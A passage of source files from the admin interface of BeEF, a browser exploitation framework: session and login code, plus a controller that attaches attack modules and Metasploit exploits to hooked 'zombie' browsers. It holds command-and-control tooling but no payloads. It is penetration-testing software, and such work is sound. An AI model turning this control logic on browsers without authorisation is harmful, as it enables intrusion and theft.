request.ip\n\n          # get session cookie name from config\n          session_cookie_name = BeEF::Core::Configuration.instance.get('beef.extension.admin_ui.session_cookie_name')\n\n          # check session id matches\n          request.cookies.each  do |cookie|\n            return true if (cookie[0].to_s.eql? session_cookie_name) and (cookie[1].eql? @id)\n          end\n          request\n\n          # not a valid session\n          false\n        end\n      end\n    end\n  end\nend\n"
  },
  {
    "path": "extensions/admin_ui/config.yaml",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nbeef:\n    extension:\n        admin_ui:\n            name: 'Admin UI'\n            enable: false\n\n            # Authentication and authorisation\n            session_cookie_name: \"BEEFSESSION\"\n            login_fail_delay: 1\n\n            # Admin UI\n            base_path: \"/ui\"\n            favicon_file_name: \"favicon.ico\"\n            play_sound_on_new_zombie: false\n            panel_update_interval: 10 # seconds\n\n"
  },
  {
    "path": "extensions/admin_ui/constants/icons.rb",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nmodule BeEF\n  module Extension\n    module AdminUI\n      module Constants\n        module Icons\n          VERIFIED_NOT_WORKING_IMG = 'red.png'\n          VERIFIED_USER_NOTIFY_IMG = 'orange.png'\n          VERIFIED_WORKING_IMG =     'green.png'\n          VERIFIED_UNKNOWN_IMG =     'grey.png'\n\n          MODULE_TARGET_IMG_PATH = 'media/images/icons/'\n        end\n      end\n    end\n  end\nend\n"
  },
  {
    "path": "extensions/admin_ui/controllers/authentication/authentication.rb",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nmodule BeEF\n  module Extension\n    module AdminUI\n      module Controllers\n        #\n        # The authentication web page for BeEF.\n        #\n        class Authentication < BeEF::Extension::AdminUI::HttpController\n          #\n          # Constructor\n          #\n          def initialize\n            super({\n              'paths' => {\n                '/' => method(:index),\n                '/login' => method(:login),\n                '/logout' => method(:logout)\n              }\n            })\n\n            @session = BeEF::Extension::AdminUI::Session.instance\n          end\n\n          # Function managing the index web page\n          def index\n            @headers['Content-Type'] = 'text/html; charset=UTF-8'\n            @headers['X-Frame-Options'] = 'sameorigin'\n          end\n\n          #\n          # Function managing the login\n          #\n          def login\n            username = @params['username-cfrm'] || ''\n            password = @params['password-cfrm'] || ''\n            @headers['Content-Type'] = 'application/json; charset=UTF-8'\n            @headers['X-Frame-Options'] = 'sameorigin'\n            @body = { success: false }.to_json\n\n            config = BeEF::Core::Configuration.instance\n            ua_ip = config.get('beef.http.allow_reverse_proxy') ? @request.ip : @request.get_header('REMOTE_ADDR')\n\n            # check if source IP address is permitted to authenticate\n            unless permitted_source?(ua_ip)\n              BeEF::Core::Logger.instance.register('Authentication', \"IP source address (#{ua_ip}) attempted to authenticate but is not within permitted subnet.\")\n              return\n            end\n\n            # check if under brute force attack\n            return unless BeEF::Core::Rest.timeout?('beef.extension.admin_ui.login_fail_delay',\n                                                    @session.get_auth_timestamp,\n                                                    ->(time) { @session.set_auth_timestamp(time) })\n\n            # check username and password\n            unless username.eql?(config.get('beef.credentials.user')) && password.eql?(config.get('beef.credentials.passwd'))\n              BeEF::Core::Logger.instance.register('Authentication', \"User with ip #{ua_ip} has failed to authenticate in the application.\")\n              return\n            end\n\n            # establish an authenticated session\n            @session.set_logged_in(ua_ip)\n            session_cookie_name = config.get('beef.extension.admin_ui.session_cookie_name') # get session cookie name\n            Rack::Utils.set_cookie_header!(@headers, session_cookie_name, { value: @session.get_id, path: '/', httponly: true })\n\n            BeEF::Core::Logger.instance.register('Authentication', \"User with ip #{ua_ip} has successfully authenticated in the application.\")\n            @body = { success: true }.to_json\n          end\n\n          #\n          # Function managing the logout\n          #\n          def logout\n            @body = { success: true }.to_json\n\n            unless @session.valid_nonce?(@request)\n              print_error 'invalid nonce'\n              return\n            end\n\n            unless @session.valid_session?(@request)\n              print_error 'invalid session'\n              return\n            end\n\n            @headers['Content-Type'] = 'application/json; charset=UTF-8'\n            @headers['X-Frame-Options'] = 'sameorigin'\n\n            # set the session to be log out\n            @session.set_logged_out\n\n            # clean up UA and expire the session cookie\n            config = BeEF::Core::Configuration.instance\n            session_cookie_name = config.get('beef.extension.admin_ui.session_cookie_name') # get session cookie name\n            Rack::Utils.set_cookie_header!(@headers, session_cookie_name, { value: '', path: '/', httponly: true, expires: Time.now })\n\n            ua_ip = config.get('beef.http.allow_reverse_proxy') ? @request.ip : @request.get_header('REMOTE_ADDR')\n            BeEF::Core::Logger.instance.register('Authentication', \"User with ip #{ua_ip} has successfully logged out.\")\n          end\n\n          #\n          # Check the UI browser source IP is within the permitted subnet\n          #\n          def permitted_source?(ip)\n            return false unless BeEF::Filters.is_valid_ip?(ip)\n\n            permitted_ui_subnet = BeEF::Core::Configuration.instance.get('beef.restrictions.permitted_ui_subnet')\n            return false if permitted_ui_subnet.nil?\n            return false if permitted_ui_subnet.empty?\n\n            permitted_ui_subnet.each do |subnet|\n              return true if IPAddr.new(subnet).include?(ip)\n            end\n\n            false\n          end\n        end\n      end\n    end\n  end\nend\n"
  },
  {
    "path": "extensions/admin_ui/controllers/authentication/index.html",
    "content": "<!--\n    Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n    Browser Exploitation Framework (BeEF) - https://beefproject.com\n    See the file 'doc/COPYING' for copying permission\n-->\n<html>\n<head>\n\t<title>BeEF Authentication</title>\n\t\n\t<%= script_tag 'ext-base.js' %>\n\t<%= script_tag 'ext-all.js' %>\n    <%= script_tag_min 'web_ui_auth.js' %>\n\t\n\t<%= stylesheet_tag 'ext-all.css' %>\n\t\n\t<style>\n\t\t#centered {\n            width:350px;\n            height:300px;\n            top:50%;\n            left:50%;\n            position:absolute;\n            margin-top:-250px;\n            margin-left:-175px;\n\t\t}\n        #beef-logo {\n            margin:0 0 20px 75px;\n        }\n\t</style>\n\t\n</head>\n\n<body>\n\t<div id=\"centered\"><img id=\"beef-logo\" src=\"<%= base_path %>/media/images/beef.png\" alt=\"BeEF - The Browser Exploitation Framework\" /></div>\n</body>\n</html>\n"
  },
  {
    "path": "extensions/admin_ui/controllers/modules/modules.rb",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nmodule BeEF\n  module Extension\n    module AdminUI\n      module Controllers\n        class Modules < BeEF::Extension::AdminUI::HttpController\n          BD = BeEF::Core::Models::BrowserDetails\n\n          def initialize\n            super({\n              'paths' => {\n                '/getRestfulApiToken.json' => method(:get_restful_api_token),\n                '/select/commandmodules/all.json' => method(:select_all_command_modules),\n                '/select/commandmodules/tree.json' => method(:select_command_modules_tree),\n                '/select/commandmodule.json' => method(:select_command_module),\n                '/select/command.json' => method(:select_command),\n                '/select/command_results.json' => method(:select_command_results),\n                '/commandmodule/commands.json' => method(:select_command_module_commands),\n                '/commandmodule/new' => method(:attach_command_module),\n                '/commandmodule/dynamicnew' => method(:attach_dynamic_command_module),\n                '/commandmodule/reexecute' => method(:reexecute_command_module)\n              }\n            })\n\n            @session = BeEF::Extension::AdminUI::Session.instance\n          end\n\n          # @note Returns the RESTful api key. Authenticated call, so callable only\n          # from the admin UI after successful authentication (cookie).\n          # -> http://127.0.0.1:3000/ui/modules/getRestfulApiToken.json\n          # response\n          # <- {\"token\":\"800679edbb59976935d7673924caaa9e99f55c32\"}\n          def get_restful_api_token\n            @body = {\n              'token' => BeEF::Core::Configuration.instance.get('beef.api_token')\n            }.to_json\n          end\n\n          # Returns the list of all command_modules in a JSON format\n          def select_all_command_modules\n            @body = command_modules2json(BeEF::Modules.get_enabled.keys)\n          end\n\n          # Set the correct icon for the command module\n          def set_command_module_icon(status)\n            path = BeEF::Extension::AdminUI::Constants::Icons::MODULE_TARGET_IMG_PATH # add icon path\n            path += case status\n                    when BeEF::Core::Constants::CommandModule::VERIFIED_NOT_WORKING\n                      BeEF::Extension::AdminUI::Constants::Icons::VERIFIED_NOT_WORKING_IMG\n                    when BeEF::Core::Constants::CommandModule::VERIFIED_USER_NOTIFY\n                      BeEF::Extension::AdminUI::Constants::Icons::VERIFIED_USER_NOTIFY_IMG\n                    when BeEF::Core::Constants::CommandModule::VERIFIED_WORKING\n                      BeEF::Extension::AdminUI::Constants::Icons::VERIFIED_WORKING_IMG\n                    when BeEF::Core::Constants::CommandModule::VERIFIED_UNKNOWN\n                      BeEF::Extension::AdminUI::Constants::Icons::VERIFIED_UNKNOWN_IMG\n                    else\n                      BeEF::Extension::AdminUI::Constants::Icons::VERIFIED_UNKNOWN_IMG\n                    end\n            # return path\n            path\n          end\n\n          # Set the correct working status for the command module\n          def set_command_module_status(mod)\n            hook_session_id = @params['zombie_session'] || nil\n            return BeEF::Core::Constants::CommandModule::VERIFIED_UNKNOWN if hook_session_id.nil?\n\n            BeEF::Module.support(mod, {\n                                   'browser' => BD.get(hook_session_id, 'browser.name'),\n                                   'ver' => BD.get(hook_session_id, 'browser.version'),\n                                   'os' => [BD.get(hook_session_id, 'host.os.name')]\n                                 })\n          end\n\n          # If we're adding a leaf to the command tree, and it's in a subfolder, we need to recurse\n          # into the tree to find where it goes\n          # @param tree [Array] The tree to recurse into\n          # @param category [Array] The category to add the leaf to\n          # @param leaf [Hash] The leaf to add to the tree\n          def update_command_module_tree_recurse(tree, category, leaf)\n            \n            # get a single folder from the category array\n            working_category = category.shift\n            \n            tree.each do |t|\n              if t['text'].eql?(working_category) && category.count > 0\n                # We have deeper to go\n                update_command_module_tree_recurse(t['children'], category, leaf)\n              elsif t['text'].eql? working_category\n                # Bingo\n                t['children'].push(leaf)\n                break\n              else\n                # Not here, keep looking\n              end\n            end\n\n            # return tree\n          end\n\n          # Add the command to the tree\n          def update_command_module_tree(tree, cmd_category, cmd_icon_path, cmd_status, cmd_name, cmd_id)\n            # construct leaf node for the command module tree\n            leaf_node = {\n              'text' => cmd_name,\n              'leaf' => true,\n              'icon' => cmd_icon_path,\n              'status' => cmd_status,\n              'id' => cmd_id\n            }\n\n            # add the node to the branch in the command module tree\n            # if the category is an array it means it's likeyl a sub-folderised category\n            # so we need to recurse into the tree to find where it goes\n            if cmd_category.is_a?(Array)\n              # The category is an array, therefore it's a sub-folderised category\n              cat_copy = cmd_category.dup # Don't work with the original array, because, then it breaks shit\n              update_command_module_tree_recurse(tree, cat_copy, leaf_node)\n            else\n              # simply add the command to the tree as it hangs of one of the root folders\n              tree.each do |x|\n                if x['text'].eql? cmd_category\n                  x['children'].push(leaf_node)\n                  break\n                end\n              end\n            end\n          end\n\n          # Recursive function to build the tree now with sub-folders\n          # this only build the folders and not the leaf command modules\n          def build_recursive_tree(parent, input)\n            cinput = input.shift.chomp('/')\n            if cinput.split('/').count == 1 # then we have a single folder now\n              if parent.detect { |p| p['text'] == cinput }.nil?\n                parent << { 'text' => cinput, 'cls' => 'folder', 'children' => [] }\n              elsif input.count > 0\n                parent.each do |p|\n                  p['children'] = build_recursive_tree(p['children'], input) if p['text'] == cinput\n                end\n              end\n            else\n              # we have multiple folders\n              newinput = cinput.split('/')\n              newcinput = newinput.shift\n              parent << { 'text' => newcinput, 'cls' => 'folder', 'children' => [] } if parent.detect { |p| p['text'] == newcinput }.nil?\n              parent.each do |p|\n                p['children'] = build_recursive_tree(p['children'], newinput) if p['text'] == newcinput\n              end\n            end\n\n            if input.count > 0\n              build_recursive_tree(parent, input)\n            else\n              parent\n            end\n          end\n\n          # Recursive function to sort all the parent's children\n          def sort_recursive_tree(parent)\n            # sort the children nodes by status and name\n            parent.each do |x|\n              # print_info \"Sorting: \" + x['children'].to_s\n              next unless x.is_a?(Hash) && x.has_key?('children')\n\n              x['children'] = x['children'].sort_by do |a|\n                fldr = a['cls'] || 'zzzzz'\n                \"#{fldr}#{a['status']}#{a['text']}\"\n              end\n              x['children'].each do |c|\n                sort_recursive_tree([c]) if c.has_key?('cls') && c['cls'] == 'folder'\n              end\n            end\n          end\n\n          # Recursive function to retitle folders with the number of children\n          def retitle_recursive_tree(parent)\n            # append the number of command modules so the branch name results in: \"<category name> (num)\"\n            parent.each do |command_module_branch|\n              next unless command_module_branch.is_a?(Hash) && command_module_branch.has_key?('children')\n\n              num_of_subs = 0\n              command_module_branch['children'].each do |c|\n                # add in the submodules and subtract 1 for the folder node\n                num_of_subs += c['children'].length - 1 if c.has_key?('children')\n                retitle_recursive_tree([c]) if c.has_key?('cls') && c['cls'] == 'folder'\n              end\n              num_of_command_modules = command_module_branch['children'].length + num_of_subs\n              command_module_branch['text'] = command_module_branch['text'] + ' (' + num_of_command_modules.to_s + ')'\n            end\n          end\n\n          # Returns the list of all command_modules for a TreePanel in the interface.\n          def select_command_modules_tree\n            blanktree = []\n            tree = []\n\n            # Due to the sub-folder nesting, we use some really badly hacked together recursion\n            # Note to the bored - if someone (anyone please) wants to refactor, I'll buy you cookies. -x\n            tree = build_recursive_tree(blanktree, BeEF::Modules.get_categories)\n\n            BeEF::Modules.get_enabled.each do |k, mod|\n              # get the hooked browser session id and set it in the command module\n              hook_session_id = @params['zombie_session'] || nil\n              if hook_session_id.nil?\n                print_error 'hook_session_id is nil'\n                return\n              end\n\n              # create url path and file for the command module icon\n              command_module_status = set_command_module_status(k)\n              command_module_icon_path = set_command_module_icon(command_module_status)\n\n              update_command_module_tree(tree, mod['category'], command_module_icon_path, command_module_status, mod['name'], mod['db']['id'])\n            end\n\n            # if dynamic modules are found in the DB, then we don't have yaml config for them\n            # and loading must proceed in a different way.\n            dynamic_modules = BeEF::Core::Models::CommandModule.where('path LIKE ?', 'Dynamic/')\n\n            unless dynamic_modules.nil?\n              all_modules = BeEF::Core::Models::CommandModule.all.order(:id)\n              all_modules.each do |dyn_mod|\n                next unless dyn_mod.path.split('/')[1].match(/^metasploit/)\n\n                command_mod_name = dyn_mod['name']\n                dyn_mod_category = 'Metasploit'\n                command_module_status = set_command_module_status(command_mod_name)\n                command_module_icon_path = set_command_module_icon(command_module_status)\n\n                update_command_module_tree(tree, dyn_mod_category, command_module_icon_path, command_module_status, command_mod_name, dyn_mod.id)\n              end\n            end\n\n            # sort the parent array nodes\n            tree.sort! { |a, b| a['text'] <=> b['text'] }\n\n            sort_recursive_tree(tree)\n\n            retitle_recursive_tree(tree)\n            \n            # return a JSON array of hashes\n            @body = tree.to_json\n          end\n\n          # Returns the inputs definition of an command_module.\n          def select_command_module\n            command_module_id = @params['command_module_id'] || nil\n            if command_module_id.nil?\n              print_error 'command_module_id is nil'\n              return\n            end\n            command_module = BeEF::Core::Models::CommandModule.find(command_module_id)\n            key = BeEF::Module.get_key_by_database_id(command_module_id)\n\n            payload_name = @params['payload_name'] || nil\n            @body = if payload_name.nil?\n                      command_modules2json([key])\n                    else\n                      dynamic_payload2json(command_module_id, payload_name)\n                    end\n          end\n\n          # Returns the list of commands for an command_module\n          def select_command_module_commands\n            commands = []\n            i = 0\n\n            # get params\n            zombie_session = @params['zombie_session'] || nil\n            if zombie_session.nil?\n              print_error 'Zombie session is nil'\n              return\n            end\n            command_module_id = @params['command_module_id'] || nil\n            if command_module_id.nil?\n              print_error 'command_module id is nil'\n              return\n            end\n            # validate nonce\n            nonce = @params['nonce'] || nil\n            if nonce.nil?\n              print_error 'nonce is nil'\n              return\n            end\n            if @session.get_nonce != nonce\n              print_error 'nonce incorrect'\n              return\n            end\n\n            # get the browser id\n            zombie = Z.where(session: zombie_session).first\n            if zombie.nil?\n              print_error 'Zombie is nil'\n              return\n            end\n\n            zombie_id = zombie.id\n            if zombie_id.nil?\n              print_error 'Zombie id is nil'\n              return\n            end\n\n            C.where(command_module_id: command_module_id, hooked_browser_id: zombie_id).each do |command|\n              commands.push({\n                'id' => i,\n                'object_id' => command.id,\n                'creationdate' => Time.at(command.creationdate.to_i).strftime('%Y-%m-%d %H:%M').to_s,\n                'label' => command.label\n              })\n              i += 1\n            end\n\n            @body = {\n              'success' => 'true',\n              'commands' => commands\n            }.to_json\n          end\n\n          # Attaches an command_module to a zombie.\n          def attach_command_module\n            definition = {}\n\n            # get params\n            zombie_session = @params['zombie_session'] || nil\n            if zombie_session.nil?\n              print_error 'Zombie id is nil'\n              return\n            end\n\n            command_module_id = @params['command_module_id'] || nil\n            if command_module_id.nil?\n              print_error 'command_module id is nil'\n              return\n            end\n\n            # validate nonce\n            nonce = @params['nonce'] || nil\n            if nonce.nil?\n              print_error 'nonce is nil'\n              return\n            end\n            if @session.get_nonce != nonce\n              print_error 'nonce incorrect'\n              return\n            end\n\n            @params.keys.each do |param|\n              unless BeEF::Filters.has_valid_param_chars?(param)\n                print_error 'invalid key param string'\n                return\n              end\n              if BeEF::Filters.first_char_is_num?(param)\n                print_error 'first char is num'\n                return\n              end\n              definition[param[4..-1]] = params[param]\n              oc = BeEF::Core::Models::OptionCache.first_or_create(name: param[4..-1])\n              oc.value = params[param]\n              oc.save\n            end\n\n            mod_key = BeEF::Module.get_key_by_database_id(command_module_id)\n            # Hack to rework the old option system into the new option system\n            def2 = []\n            definition.each do |k, v|\n              def2.push({ 'name' => k, 'value' => v })\n            end\n            # End hack\n            exec_results = BeEF::Module.execute(mod_key, zombie_session, def2)\n            @body = exec_results.nil? ? '{success: false}' : '{success: true}'\n          end\n\n          # Re-execute an command_module to a zombie.\n          def reexecute_command_module\n            # get params\n            command_id = @params['command_id'] || nil\n            if command_id.nil?\n              print_error 'Command id is nil'\n              return\n            end\n\n            command = BeEF::Core::Models::Command.find(command_id.to_i) || nil\n            if command.nil?\n              print_error 'Command is nil'\n              return\n            end\n            # validate nonce\n            nonce = @params['nonce'] || nil\n            if nonce.nil?\n              print_error 'nonce is nil'\n              return\n            end\n            if @session.get_nonce != nonce\n              print_error 'nonce incorrect'\n              return\n            end\n\n            command.instructions_sent = false\n            command.save\n\n            @body = '{success : true}'\n          end\n\n          def attach_dynamic_command_module\n            definition = {}\n\n            # get params\n            zombie_session = @params['zombie_session'] || nil\n            if zombie_session.nil?\n              print_error 'Zombie id is nil'\n              return\n            end\n\n            command_module_id = @params['command_module_id'] || nil\n            if command_module_id.nil?\n              print_error 'command_module id is nil'\n              return\n            end\n\n            # validate nonce\n            nonce = @params['nonce'] || nil\n            if nonce.nil?\n              print_error 'nonce is nil'\n              return\n            end\n\n            if @session.get_nonce != nonce\n              print_error 'nonce incorrect'\n              return\n            end\n\n            @params.keys.each do |param|\n              unless BeEF::Filters.has_valid_param_chars?(param)\n                print_error 'invalid key param string'\n                return\n              end\n\n              if BeEF::Filters.first_char_is_num?(param)\n                print_error \"first char is num: #{param}\"\n                return\n              end\n\n              definition[param[4..-1]] = params[param]\n              oc = BeEF::Core::Models::OptionCache.first_or_create(name: param[4..-1])\n              oc.value = params[param]\n              oc.save\n            end\n\n            zombie = Z.where(session: zombie_session).first\n            if zombie.nil?\n              print_error 'Zombie is nil'\n              return\n            end\n\n            zombie_id = zombie.id\n            if zombie_id.nil?\n              print_error 'Zombie id is nil'\n              return\n            end\n\n            command_module = BeEF::Core::Models::CommandModule.find(command_module_id)\n\n            return { 'success' => 'false' }.to_json if command_module.nil?\n\n            unless command_module.path.match(/^Dynamic/)\n              print_info \"Command module path is not dynamic: #{command_module.path}\"\n              return { 'success' => 'false' }.to_json\n            end\n\n            dyn_mod_name = command_module.path.split('/').last\n            e = BeEF::Modules::Commands.const_get(dyn_mod_name.capitalize).new\n            e.update_info(command_module_id)\n            e.update_data\n            ret = e.launch_exploit(definition)\n\n            if ret['result'] != 'success'\n              print_info 'mount failed'\n              return { 'success' => 'false' }.to_json\n            end\n\n            basedef = {}\n            basedef['sploit_url'] = ret['uri']\n\n            C.new(\n              data: basedef.to_json,\n              hooked_browser_id: zombie_id,\n              command_module_id: command_module_id,\n              creationdate: Time.new.to_i\n            ).save\n\n            @body = { 'success' => true }.to_json\n          end\n\n          # Returns the results of a command\n          def select_command_results\n            results = []\n\n            # get params\n            command_id = @params['command_id'] || nil\n            if command_id.nil?\n              print_error 'Command id is nil'\n              return\n            end\n\n            command = BeEF::Core::Models::Command.find(command_id.to_i) || nil\n            if command.nil?\n              print_error 'Command is nil'\n              return\n            end\n\n            # get command_module\n            command_module = BeEF::Core::Models::CommandModule.find(command.command_module_id)\n            if command_module.nil?\n              print_error 'command_module is nil'\n              return\n            end\n\n            resultsdb = BeEF::Core::Models::Result.where(command_id: command_id)\n            if resultsdb.nil?\n              print_error 'Command id result is nil'\n              return\n            end\n\n            resultsdb.each { |result| results.push({ 'date' => result.date, 'data' => JSON.parse(result.data) }) }\n\n            @body = {\n              'success' => 'true',\n              'command_module_name' => command_module.name,\n              'command_module_id' => command_module.id,\n              'results' => results\n            }.to_json\n          end\n\n          # Returns the definition of a command.\n          # In other words it returns the command that was used to command_module a zombie.\n          def select_command\n            # get params\n            command_id = @params['command_id'] || nil\n            if command_id.nil?\n              print_error 'Command id is nil'\n              return\n            end\n\n            command = BeEF::Core::Models::Command.find(command_id.to_i) || nil\n            if command.nil?\n              print_error 'Command is nil'\n              return\n            end\n\n            command_module = BeEF::Core::Models::CommandModule.find(command.command_module_id)\n            if command_module.nil?\n              print_error 'command_module is nil'\n              return\n            end\n\n            if command_module.path.split('/').first.match(/^Dynamic/)\n              dyn_mod_name = command_module.path.split('/').last\n              e = BeEF::Modules::Commands.const_get(dyn_mod_name.capitalize).new\n            else\n              command_module_name = command_module.name\n              e = BeEF::Core::Command.const_get(command_module_name.capitalize).new(command_module_name)\n            end\n\n            @body = {\n              'success' => 'true',\n              'command_module_name' => command_module_name,\n              'command_module_id' => command_module.id,\n              'data' => BeEF::Module.get_options(command_module_name),\n              'definition' => JSON.parse(e.to_json)\n            }.to_json\n          end\n\n          private\n\n          # Takes a list of command_modules and returns them as a JSON array\n          def command_modules2json(command_modules)\n            command_modules_json = {}\n            i = 1\n            config = BeEF::Core::Configuration.instance\n            command_modules.each do |command_module|\n              h = {\n                'Name' => config.get(\"beef.module.#{command_module}.name\"),\n                'Description' => config.get(\"beef.module.#{command_module}.description\"),\n                'Category' => config.get(\"beef.module.#{command_module}.category\"),\n                'Data' => BeEF::Module.get_options(command_module)\n              }\n              command_modules_json[i] = h\n              i += 1\n            end\n\n            return { 'success' => 'false' }.to_json if command_modules_json.empty?\n\n            { 'success' => 'true', 'command_modules' => command_modules_json }.to_json\n          end\n\n          # return the input requred for the module in JSON format\n          def dynamic_modules2json(id)\n            command_modules_json = {}\n\n            mod = BeEF::Core::Models::CommandModule.find(id)\n\n            # if the module id is not in the database return false\n            return { 'success' => 'false' }.to_json unless mod\n\n            # the path will equal Dynamic/<type> and this will get just the type\n            dynamic_type = mod.path.split('/').last\n\n            e = BeEF::Modules::Commands.const_get(dynamic_type.capitalize).new\n            e.update_info(mod.id)\n            e.update_data\n            command_modules_json[1] = JSON.parse(e.to_json)\n            if command_modules_json.empty?\n              { 'success' => 'false' }.to_json\n            else\n              { 'success' => 'true', 'dynamic' => 'true', 'command_modules' => command_modules_json }.to_json\n            end\n          end\n\n          def dynamic_payload2json(id, payload_name)\n            command_module = BeEF::Core::Models::CommandModule.find(id)\n            if command_module.nil?\n              print_error 'Module does not exists'\n              return { 'success' => 'false' }.to_json\n            end\n\n            payload_options = BeEF::Module.get_payload_options(command_module.name, payload_name)\n            # get payload options in JSON\n            # e = BeEF::Modules::Commands.const_get(dynamic_type.capitalize).new\n            payload_options_json = []\n            payload_options_json[1] = payload_options\n            # payload_options_json[1] = e.get_payload_options(payload_name)\n            { 'success' => 'true', 'command_modules' => payload_options_json }.to_json\n          end\n        end\n      end\n    end\n  end\nend\n"
  },
  {
    "path": "extensions/admin_ui/controllers/panel/index.html",
    "content": "<!--\n    Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n    Browser Exploitation Framework (BeEF) - https://beefproject.com\n    See the file 'doc/COPYING' for copying permission\n-->\n<html>\n<head>\n\n\t<title>BeEF Control Panel</title>\n\n\t<meta http-equiv=\"Content-Type\" content=\"text/html; charset=UTF-8\"/>\n\n\t<%= script_tag 'ext-base.js' %>\n\t<%= script_tag 'ext-all.js' %>\n\t<%= script_tag_min 'web_ui_all.js' %>\n\t<%= script_tag 'vis.js/vis.min.js' %>\n\t<%= stylesheet_tag 'ext-all.css' %>\n\t<%= stylesheet_tag 'base.css' %>\n</head>\n\n<body>\n\t<%= nonce_tag %>\n\t<div id=\"header\">\n\t\t<div class=\"left-menu\" id=\"header-right\">\n\t\t</div>\n\t\t<div class=\"right-menu\">\n\t\t\t<img src=\"<%= base_path %>/media/images/favicon.png\" />\n\t\t\tBeEF <%= BeEF::Core::Configuration.instance.get('beef.version') %> | \n\t\t\t<a id='do-logout-menu' href='#'>Logout</a>\n\t\t</div>\n\t</div>\n</body>\n\n</html>\n"
  },
  {
    "path": "extensions/admin_ui/controllers/panel/panel.rb",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nmodule BeEF\n  module Extension\n    module AdminUI\n      module Controllers\n        class Panel < BeEF::Extension::AdminUI::HttpController\n          def initialize\n            super({\n              'paths' => {\n                '/' => method(:index)\n              }\n            })\n          end\n\n          # default index page\n          def index\n            @headers['X-Frame-Options'] = 'sameorigin'\n          end\n        end\n      end\n    end\n  end\nend\n"
  },
  {
    "path": "extensions/admin_ui/extension.rb",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nmodule BeEF\n  module Extension\n    module AdminUI\n      extend BeEF::API::Extension\n\n      @full_name = 'Administration Web UI'\n      @short_name = 'admin_ui'\n      @description = 'Command and control web interface'\n    end\n  end\nend\n\n# Constants\nrequire 'extensions/admin_ui/constants/icons'\n\n# Classes\nrequire 'extensions/admin_ui/classes/httpcontroller'\nrequire 'extensions/admin_ui/classes/session'\n\n# Handlers\nrequire 'extensions/admin_ui/handlers/ui'\n\n# API Hooking\nrequire 'extensions/admin_ui/api/handler'\n"
  },
  {
    "path": "extensions/admin_ui/handlers/ui.rb",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\n#\n# Generic Http Handler that extensions can use to register http\n# controllers into the framework.\n#\nmodule BeEF\n  module Extension\n    module AdminUI\n      module Handlers\n        class UI\n          #\n          # Constructor\n          #\n          def initialize(klass)\n            @klass = BeEF::Extension::AdminUI::Controllers.const_get(klass.to_s.capitalize)\n          end\n\n          def call(env)\n            @request = Rack::Request.new(env)\n            @response = Rack::Response.new(env)\n\n            controller = @klass.new\n            controller.run(@request, @response)\n\n            @response = Rack::Response.new(\n              body = [controller.body],\n              status = controller.status,\n              header = controller.headers\n            )\n          end\n\n          @request\n          @response\n        end\n      end\n    end\n  end\nend\n"
  },
  {
    "path": "extensions/admin_ui/media/css/base.css",
    "content": "/*\n * Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n * Browser Exploitation Framework (BeEF) - https://beefproject.com\n * See the file 'doc/COPYING' for copying permission\n */\n\n#header .right-menu {\n\twidth: 300px;\n\tfloat: right;\n\tmargin: 3px 3px 0 4px;\n\tword-spacing: 5px;\n\tfont: 11px arial, tahoma, verdana, helvetica;\n\tcolor:#000;\n}\n\n#header .left-menu {\n\twidth: 300px;\n\tfloat: left;\n\tmargin: 10px 4px 0 20px;\n\tword-spacing: 5px;\n\tfont: 11px arial, tahoma, verdana, helvetica;\n\tfont-weight: bolder;\n\tcolor:red;\n}\n\n#header a:link,\n#header a:visited {\n\tcolor:#000;\n\ttext-decoration:underline;\n}\n\n.x-grid3-cell-inner {\n  white-space: normal; /* changed from nowrap */\n}\n\n.x-grid-empty {\n\ttext-align:left;\n}\n\n.feed-icon {\n\tdisplay: none;\n}\n\n#zombie-tree-tabs-panel .x-tab-panel-header {\n\tfont: 11px tahoma,arial,helvetica,sans-serif;\n\tpadding: 0 0 0 0;\n\tborder-bottom: none;\n\ttext-align: center;\n}\n\n/*\n * Status bar\n ****************************************/\n.x-statusbar .x-status-busy,\n.x-statusbar .x-status-error,\n.x-statusbar .x-status-valid {\n\tbackground: transparent no-repeat 3px 2px;\n\tpadding-left: 25px !important;\n\tpadding-bottom: 2px !important;\n}\n\n.x-statusbar .x-status-busy {\n    background-image: url(../images/statusbar/loading.gif);\n}\n\n.x-statusbar .x-status-error {\n    color: #C33;\n    background-image: url(../images/statusbar/exclamation.gif);\n}\n\n.x-statusbar .x-status-valid {\n    background-image: url(../images/statusbar/accept.png);\n}\n\n/*\n * Zombie Tree\n ****************************************/\n.x-tree-node-leaf .x-tree-node-icon {\n\twidth: 13px;\n\theight: 13px;\n\tpadding-left: 3px;\n\tpadding-top: 3px;\n}\n\n/*\n * Zombie Tree Icons\n ****************************************/\n.zombie-tree-icon {\n  padding-left: 3px;\n  padding-top: 3px;\n  width: 13px;\n  height: 13px;\n  border: 0;\n}\n\n/* these aren't used at the moment, but should be used rather than img tags */\n.zombie-tree-icon-browser-ff {\n   background-image: url(../images/icons/firefox.png) no-repeat;\n}\n\n.zombie-tree-icon-browser-ie {\n   background-image: url(../images/icons/msie.png) no-repeat;\n}\n\n.zombie-tree-icon-browser-e {\n   background-image: url(../images/icons/edge.png) no-repeat;\n}\n\n.zombie-tree-icon-browser-ep {\n   background-image: url(../images/icons/epiphany.png) 